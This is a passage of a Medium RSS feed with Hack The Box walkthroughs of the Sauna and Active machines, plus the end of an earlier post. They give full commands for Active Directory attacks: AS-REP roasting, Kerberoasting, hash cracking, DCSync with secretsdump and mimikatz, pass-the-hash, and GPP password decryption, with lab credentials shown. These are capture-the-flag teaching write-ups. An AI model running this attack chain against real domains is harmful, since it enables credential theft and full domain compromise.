reserved.<br><br>C:\Windows\system32&gt;whoami &amp;&amp; hostname <br>whoami &amp;&amp; hostname <br>nt authority\system<br>SERVER<br><br>C:\Windows\system32&gt;<br><br>We now have system level access on the target machine!</pre><p>Note : Here i take help From Official Offsec Walkthrough at the Last Part Privsec …… :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=045b776a9618" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sauna HTB walkthrough]]></title>
            <link>https://medium.com/@abhaypandit7278/sauna-htb-walkthrough-de53a8bcf457?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/de53a8bcf457</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb-sauna]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Sun, 06 Oct 2024 13:55:19 GMT</pubDate>
            <atom:updated>2024-10-06T14:45:25.673Z</atom:updated>
            <content:encoded><![CDATA[<p>Discover the walkthrough of HTB Sauna Machine , Which is Basically based on Active Directory :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*P14Ta4eeojG0syF7obJvzA.png" /></figure><h3>Nmap Scan Results :</h3><pre>──(root㉿kali)-[/home/kali/sauna_HTB]<br>└─# nmap 10.10.10.175 -p- -sCV --min-rate 5000 <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 11:36 IST<br>Nmap scan report for 10.10.10.175<br>Host is up (0.067s latency).<br>Not shown: 65515 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Egotistical Bank :: Home<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-28 12:56:29Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49677/tcp open  msrpc         Microsoft Windows RPC<br>49689/tcp open  msrpc         Microsoft Windows RPC<br>49696/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2024-09-28T12:57:21<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>|_clock-skew: 6h48m57s<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 127.13 seconds    </pre><h3>SMB TCP/445</h3><p>lets start with smb information ,sometimes to get credentials there</p><pre>smbclient -L  10.10.10.175</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*OS0Fd2iiN-7QwPdd5f6rwA.png" /></figure><p>still smbmap is also unable to list the shares</p><p>Now we have crackmapexec , Yes by the help of crackmapexec we can list the Shares</p><pre>crackmapexec smb 10.10.10.175  -u &#39;&#39; -p &#39;&#39;  --shares;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9sJ8JdhQb6OiaI7U8dfPSw.png" /></figure><p>Still not get , but we come to know that ,This machine is running on <strong>Windows 10 /Server 2019 Build 17763 x64</strong> and the Domain name is <strong>EGOTISTICAL-BANK.LOCAL</strong></p><h3>LDAP TCP/UDP 389</h3><p>The nmap script performed some initial enumeration and identified the domain EGOTISTICAL-BANK.LOCAL0. I’ll investigate further using ldapsearch.</p><pre>ldapsearch 10.10.10.175 --script=&quot;ldap-*&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*3RdqbJ8AhcXhcNBh5qchtg.png" /><figcaption>img part:1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*3zCcepklHFmvQDv2YhxrIg.png" /><figcaption>img part:2</figcaption></figure><p>We got the Domain name “<strong>EGOTISTICAL-BANK.LOCAL</strong>” ,and bunch of information that is not usefull for us</p><h3>HTTP TCP/80</h3><p>In the scan of nmap we see that there is website is running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vAryNPnATpY3GOODM_KJ7w.png" /></figure><p>and we get the Team name , so lets create a list of users in which we will put all the teams names in it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzq8sgaxYnR8-QHOqIcRrw.png" /><figcaption>Intresting things</figcaption></figure><h3>Kerberoasting TCP/88</h3><p><em>so we have user file ,lets try to exploit the kerberoas </em><br>We will take help GetNPUser.py from Impacket Family</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*NqnolsEBxEd8uSxEH7R0Gg.png" /></figure><p>Creating wordlist by using <strong>Username Anarchy</strong></p><p><a href="https://github.com/urbanadventurer/username-anarchy?source=post_page-----442aa1dc0177--------------------------------">GitHub - urbanadventurer/username-anarchy: Username tools for penetration testing</a></p><p>Download this tool from github and run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r_s-XJqhLIJgoNOIeI06AA.png" /></figure><p>it showing that — format-plugin.rb file is not load so lets download the — format-plugins.rb file <br>from github</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jWtAXZg3VW89e57yJwQQg.png" /></figure><p>After downloading the <strong>format-plugins.rb</strong> file, I moved it to my current directory from the Downloads directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtFA6FqpN7EPf1OWlSivzg.png" /></figure><p>Lets run the tool by the help of using syntax</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*QGrxO6BFEOYGSSuQ5qhsuw.png" /></figure><pre>./username-anarchy --input-file user.txt --select-format first.last,firstl,f.last,flast &gt; users_names.txt</pre><p>Here is our list Before and after :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Q6n1HPD4Dl1t25_NjP0O0w.png" /></figure><h3>Getting The Hash</h3><pre>python GetNPUsers.py  EGOTISTICAL-BANK.LOCAL/  -usersfile users_names.txt   -output hash.txt   -dc-ip   10.10.10.175</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSgo-CSZYBs0msiH1OUz1A.png" /><figcaption>Got our Hash</figcaption></figure><p>After getting the hash copy paste the hash into file</p><h3>Cracking The hash</h3><p>and lets identify the hash with hashcat :</p><pre>hashcat --identify hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AuHedEz1QX_9rfd4BXBOg.png" /></figure><p>Now, it’s time to dive into the exciting challenge of cracking the hash</p><pre>hashcat -m 18200 -a 0  hash.txt  /usr/share/wordlists/rockyou.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWI4zlAgNOjNQUSh6hEB4Q.png" /></figure><p>here is the Creds : <strong>fsmith</strong> = <strong>Thestrokes23</strong></p><h3>Shell</h3><p>Now, it’s time to connect to the machine using <strong>WinRM</strong>. I remember the Nmap scan results indicated that <em>WinRM is open on this machine</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*enGQHC-7WHeZJgKoBYWjxQ.png" /></figure><p>and we got the <em>shell</em></p><h3><strong>Privs: fsmith — Administrator</strong></h3><p>For Privsec i will use winpeas.exe script from<a href="https://github.com/peass-ng/PEASS-ng"> [Privilege Escalation Awesome Scripts Suite].</a><br>Create a smb share with <strong>smbserver.py</strong></p><pre>smbserver.py -username hunt -password hunt share . -smb2support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*p2e_kTLAjpMCN9WfHzAHqA.png" /></figure><p>mount the share from Sauna and go into that directory:<br> Put Your VPN Ip in the mountig command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*FW3n1_R3Mp2ejrBmExvCZA.png" /></figure><pre>net  use  \\10.10.16.16\share  /u:hunt  hunt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*PTadeMPOyYrZKQE2jC8kCQ.png" /></figure><p>succesfully we mounted the shares ,Now copy the winpeasx64 script to target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*WUUwD1dDAV629siqyN3mqw.png" /></figure><p>let see that our winpeas successfully arrived or not :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*YqaBCRuJ2VOBJKJv90lAwA.png" /></figure><p>run the winpeasx64 to target machine</p><pre>winpeasx64.exe  cmd  fast &gt; winpeas_output.txt</pre><p>analyzing the file , i came to across the AutoLogon credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*J7y1bvHg9lGEHW3B8KFgow.png" /></figure><p>i Checked the user <strong>svc_loanmanger</strong> ,but it is not available in this Boxes ,but it is closed to <strong>svc_loanmgr</strong> lets try to loogin with it</p><p>by the help of nxc tool we will get the shell from only winrm :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qcYM8rtw9ZHKUm4ePtlNw.png" /></figure><p>After getting the shell we will enumerate the machine to check files ,permission, priviledge and many more …….</p><p>Nothing i Found intresting ,because it is AD Machine so lets fire up <strong>SharpHound.exe</strong></p><p>Set up a smb server on my kali machine</p><pre>smbserver.py -username hunt -password hunt  share.  -smb2support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*fz6HiaA0-GDb2vOpFzlgSg.png" /></figure><p>again mount the smbserver in target machine</p><pre>net use \\10.10.16.16\share   /u:hunt  hunt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*VnQk1hjSi8Yh5W_niS__lw.png" /></figure><p>let’s navigate to the share directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*n_cgmCMz_Y3kD4LMqS5VAg.png" /></figure><p>Now run the SharpHound.exe</p><pre>.\SharpHound.exe </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEJz1cRb-qpxceug9-AX2A.png" /></figure><p>Now move back our local machine and check the BloodHound.zip file for further enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5S0WbJdHYRXSB9sNcOMciw.png" /></figure><p>Alright, everything is set. Now, run <strong>neo4j console</strong> as well as <strong>BloodHound</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0iaLR9NIneVuDZXiP-sZQ.png" /><figcaption>it’s necessary to run neo4j console</figcaption></figure><p>Enter the creds and login the dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*gmLBMpsG2PKGJ1aczImPAw.png" /></figure><p>Press the<strong> Upload</strong> button, where you will find an option to<strong> insert a file</strong>. Choose the <strong>BloodHound.zip</strong> file that you want to <strong>analyze</strong></p><p>You will see that the file is uploading. Once the progress reaches 100%, simply enter <strong>clear finished</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*Utr9xTeVqKM0rKE9r9yEzA.png" /></figure><p>Certainly! Here’s a rephrased version of your sentence with the same meaning:</p><p>“Predefined queries can be helpful, but I prefer to begin with the users I already have access to. I will search for <strong>SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL</strong> in the top left search bar, and it will appear on the graph. On the left side, I will look for Outbound Object Control, which shows the items this user has rights over. In this instance, there is one item.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*UkwKIBqY7Zw53REle_WSXA.png" /></figure><p>Clicking the<strong> “1” </strong>add that item to the graph</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*3slMmV8Dtwq8Iz1TqK5a3g.png" /></figure><p>This account possesses the GetChanges and GetChangesAll permissions on the domain. A quick Google search will reveal numerous articles on the DCSync attack. Alternatively, you can right-click on the label (ensuring you click precisely) to access the menu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*roN2m3VNUC61fR9l_lpojg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*igQO_MAXmQ1qCVJzmRaFTQ.png" /></figure><p>now You can look other information related to this node but , we prefer simple attack that is DCSync attack</p><h3>DCSync Attack</h3><p>The <strong>DCSync</strong> permission implies having these permissions over the domain itself: <strong>DS-Replication-Get-Changes</strong>, <strong>Replicating Directory Changes All</strong> and <strong>Replicating Directory Changes In Filtered Set</strong></p><p>You can read about it more From here<a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync"> DCSync | HackTricks</a></p><p>We will use tool called secretsdump.py and dump the all hashes to our machine</p><pre>secretsdump.py &#39;svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175&#39;</pre><p>You Will get a hash</p><h3>Another Method using mimikatz.exe</h3><p>So upload <strong>mimikatz.exe</strong></p><p>I will perform a recursive search for<strong> mimikatz.exe</strong> throughout my entire Linux directory and provide the path of <strong>mimikatz.exe</strong> during the upload process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*kIsFKZ2jkIo8CStfJn5JRw.png" /></figure><p>During the uploading time i am Facing this issue …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvOHBDpUQLkHr7LgNrLPNw.png" /></figure><p>To resolve this issue, we need to navigate three steps back to reach the <strong>/</strong> directory. I will now provide the complete path.</p><pre>upload ../../../usr/share/windows-resources/mimikatz/x64/mimikatz.exe  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wiBEcF6zdnD3VKxW6LqIZw.png" /></figure><p>Now execute the Command</p><pre> .\mimikatz &#39;lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator&#39; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17ZKQ3-ZnhjgEiSUQKkkcw.png" /></figure><p>We Got the hash , Now we can do Pass the hash attack</p><pre>evil-winrm  -i 10.10.10.172  -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UA85Op7VH8XPmYYtXeCKKw.png" /></figure><p>Any way ,here is Our flag :</p><pre>*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; type root.txt<br>40925277096328**************</pre><p>Thanks For Reading ,I Hope You Enjoy it , Please give me Feedback so i Can Improve Myself</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de53a8bcf457" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox:Active Walkthrough]]></title>
            <link>https://medium.com/@abhaypandit7278/hackthebox-active-walkthrough-cb998c9feb84?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb998c9feb84</guid>
            <category><![CDATA[haxkthebox]]></category>
            <category><![CDATA[oswe]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tjnull]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Wed, 25 Sep 2024 18:01:19 GMT</pubDate>
            <atom:updated>2024-09-25T18:10:38.436Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*sVWHAJCae2rxK9Yrw6LEMw.png" /></figure><p>Lets Check Wheather Our Machine is On or off</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*6bCRWpLheUCs6yCB5dlyvw.png" /><figcaption>Machine is Up</figcaption></figure><p>Yup ,its Up…..</p><p>Lets begin With Recon :The first step in any penetration testing process is reconnaissance. There are lots of methods to start reconnaissance ,but We can start by running nmap scan on the target machine to identify open ports and services.<br># Nmap Scan Result<br>Nmap Shows that we are dealing with Windows Server 2008 R2 ,that is Windows Active Domain Controller:<br>```<br>┌──(root㉿kali)-[/home/kali/Active]<br>└─# nmap 10.10.10.100 -p- -sCV — min-rate 5000 <br>Starting Nmap 7.94SVN ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2024–09–23 13:12 EDT<br>Nmap scan report for 10.10.10.100<br>Host is up (0.080s latency).<br>Not shown: 65512 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)<br>| dns-nsid: <br>|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)<br>88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024–09–23 17:01:55Z)<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>445/tcp open microsoft-ds?<br>464/tcp open kpasswd5?<br>593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>636/tcp open tcpwrapped<br>3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>3269/tcp open tcpwrapped<br>5722/tcp open msrpc Microsoft Windows RPC<br>9389/tcp open mc-nmf .NET Message Framing<br>47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49155/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>49158/tcp open msrpc Microsoft Windows RPC<br>49165/tcp open msrpc Microsoft Windows RPC<br>49166/tcp open msrpc Microsoft Windows RPC<br>49168/tcp open msrpc Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows</p><p>Host script results:<br>|_clock-skew: -10m52s<br>| smb2-security-mode: <br>| 2:1:0: <br>|_ Message signing enabled and required<br>| smb2-time: <br>| date: 2024–09–23T17:02:54<br>|_ start_date: 2024–09–23T16:17:12</p><p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 88.11 seconds</p><p>```</p><p>- How we will diffrentiate the Standalone Machine vs Active Directory Machine <br>There are Some Parameters Which Tell us this Machine is Active Directory Set <br> 1.)88/tcp(kerberos) Port Open <br> 2.)389/tcp(ldap) Port Open<br> 3.)We will get Domain Name , Some time we didn’t get the Domain name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*GiTjx6ToZSeQ6dO7XQO9mg.png" /></figure><p>The nmap scan discloses the domain name of the machine active.htb, So let’s add this to our host file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*VgUHW_pJAr_gSRPCUvBf9w.png" /></figure><p>lets test it by sending them Packets:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*cbZzSaIF464JFHoVcXp4Zg.png" /></figure><p>SMB TCP 139/445<br>Smb Enumeration :There are lots of Ways to enumerate this We will See this:</p><p>1.)smbmap Tool<br><br>smbmap -H 10.10.10.100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yi2aFb2FaIDcyk-pmAW9vw.png" /></figure><p>We discovered that Read-Only Shared only Detected on Replication<br>2.)smbclient<br><br>smbclient -L 10.10.10.100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMzPhxHufNzj4XuMOwZs3w.png" /></figure><p>it doesn’t Shows Clearly Which Shares are accessable are</p><p>3.)enum4linux<br><br>enum4linux -a 10.10.10.100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*zPHe5kHKIiOMEDwxNy39Ug.png" /></figure><p>It Shows that we are able to read this Share named as Replication: Lets List the Replication Shares</p><p>4.) crackmapexec<br><br>crackmapexec smb 10.129.13.59 -u ‘’ -p ‘’ — shares;<br><br>The Command Explanation are :</p><ul><li>crackmapexec smb: This specifies that you are using CrackMapExec to interact with SMB services.<br>- 10.129.13.59: This is the IP address of the target machine you are scanning.<br>- -u ‘’:This flag specifies the username. In this case, it is left empty, indicating that no username is provided.<br>-p ‘’: This flag specifies the password. Similarly, it is left empty, indicating that no password is provided.<br>- — shares: This option tells CrackMapExec to enumerate the shared folders on the target machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*lmUL1q7iddSozV8-Rf1UpA.png" /></figure><p>Accessing the SMB Share Anonymously</p><p>Next, we use smbclient to enumerate the Replication directory with an anonymous login.</p><p>smbclient -N //10.10.10.100/Replication</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*TtJLwekYvaX6uM5KYLgn4g.png" /></figure><p>Finding Sensitive Files We search for any interesting files within the Replication share and find the file Groups.xml located at: \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml</p><p>2.)Downloading the information from Replication SMB share.</p><p>smbclient -N \\\\10.129.13.59\\Replication -U ‘’; <br> <br>smb: \&gt; prompt <br>smb: \&gt; recurse ON <br>smb: \&gt; mget * <br>getting file \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/GPT.INI (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec) <br>getting file \active.htb\Policies\{6AC1786C-016F-11D2–945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2–945F-00C04fB984F9}/GPT.INI (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec) <br>getting file \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/Group Policy/GPE.INI (3.5 KiloBytes/sec) (average 1.6 KiloBytes/sec) <br>getting file \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/MACHINE/Registry.pol (80.1 KiloBytes/sec) (average 21.5 KiloBytes/sec) <br>getting file \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (15.8 KiloBytes/sec) (average 20.4 KiloBytes/sec) <br>getting file \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (31.5 KiloBytes/sec) (average 22.3 KiloBytes/sec) <br>getting file \active.htb\Policies\{6AC1786C-016F-11D2–945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2–945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (106.9 KiloBytes/sec) (average 34.5 KiloBytes/sec) <br>smb: \&gt;</p><p>Here is the Explanation :<br>The command smbclient -N \\\\10.129.13.59\\Replication -U ‘’ is used to access a shared folder on a remote machine using the SMB protocol. Here’s a breakdown of the command:</p><p>- smbclient: This is the command-line tool used to access SMB/CIFS resources on servers.<br>- -N: This option tells `smbclient` to not ask for a password. It is useful when accessing shares that do not require authentication.<br>- \\\\10.129.13.59\\Replication: This specifies the path to the shared folder you want to access. The double backslashes (`\\\\`) are used to escape the backslashes in the path.<br>- `-U ‘’: This option specifies the username. In this case, it is left empty, indicating that no username is provided.</p><p>Exploitation<br>Finding the hidden Credentials from SMB Shares <br>After downloading the all listed Shares i just enumerate a lot and find some intrestting files are : Groups.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*0tQf5DE1gWY7YgCH-LEqKw.png" /></figure><p>GPP Passwords</p><p>Whenever a new Group Policy Preference (GPP) is created, there’s an xml file created in the SYSVOL share with that config data, including any passwords associated with the GPP. For security, Microsoft AES encrypts the password before it’s stored as cpassword . But then Microsoft [published the key](<a href="https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx">https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx</a>)</p><p>Microsoft issued a patch in 2014 that prevented admins from putting passwords into GPP. But that patch doesn’t do anything about any of these breakable passwords that were already there, and from what I understand, pentesters still find these regularly in 2018. For more details, check out this [AD Security post](<a href="https://adsecurity.org/?p=2288">https://adsecurity.org/?p=2288</a>).<br><br>cpassword=”edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ”<br><br> As We new that its a group Policy Password of SVC_TGS user</p><p>Now We decrypt the hash by the help of gpp-decrypt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*myTpFtG4bCh1LZNZ1f4wgw.png" /></figure><p>And Boom We got the Password : GPPstillStandingStrong2k18</p><p>Accessing the SMB Share with Credentials Using the obtained credentials, we connect to the Users share directory.<br><br>smbclient //10.10.10.100/Users -U SVC_TGS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*7TADp2FziC8REmzlPuhglw.png" /></figure><p>We successfully log in and retrieve the user flag :</p><p>Checking for Kerberos Vulnerabilities</p><ul><li>Why Check for Kerberos Vulnerabilities?</li></ul><p>Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications. In a Windows environment, service accounts (like `SVC_TGS`) are often assigned to run services. These accounts sometimes have special privileges, and their passwords may be poorly managed or weak. By querying the Kerberos Ticket Granting Service (TGS), we can request service tickets for accounts with Service Principal Names (SPNs). If the account’s password is weak, it may be possible to crack it and gain elevated access.</p><p>We use GetUserSPNs.py from the impacket suite to check if any service accounts are vulnerable by querying for their SPNs.</p><p>i Face this error :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*jDO9ampZhOmhnQINrNCnbQ.png" /></figure><p>Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)</p><p>it’s a Basically a time error between Our hostmachine and DC Machine<br>So there are server steps to fix this:<br>1. First install ntpdateit is a utility , Which set the date and time via NTP<br>2. Second ntpdate -4 10.10.10.100 We used to synchronize the system clock with an NTP (Network Time Protocol) DC<br>3. Then We will Try Our this command to extract the kerberoas ticket :<br><br>GetUserSPNs.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -save -output GetUserSPNs.out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*iubhoM9i3sFbe1aczKTu4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*bF_P2z7t7OGyhK4oE0Bf9w.png" /></figure><p>Her is Our Hash ,Which is Administrator Hash<br> Lets crack the hash <br> BeforeCrackinf the hash we have to identify the hash ,by the help of hashcat</p><p>hashcat — identify GetUserSPNs.out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*xXFVcGjD8eHoJvKPdwKxZw.png" /></figure><p>Eventually i am Facing Some error i don’t know ,What the Problem with hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*LqL6DbMV9NarmDP9YNkkHg.png" /></figure><p>So i Moved on john tool<br><br>john — format=krb5tgs — wordlist=/usr/share/wordlists/rockyou.txt GetUserSPNs.out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*41yCibxHqkusWNvj7QkSdg.png" /></figure><p>Her is the Password:Ticketmaster1968</p><p>lets login with `Administrator`:Ticketmaster1968<br>We will use impacket utility :<br><br>impacket-psexec ‘active.htb/Administrator:Ticketmaster1968@10.10.10.100’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*s5BMhE9CX0hMWRRVEdO7Iw.png" /></figure><p>And Boom we got DC Shell:<br>Now its Time to find root.txt<br>1. You will get in the Administrator Desktop Folder<br>2. or You have to search the root.txt : dir C:\*root.txt /s</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb998c9feb84" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>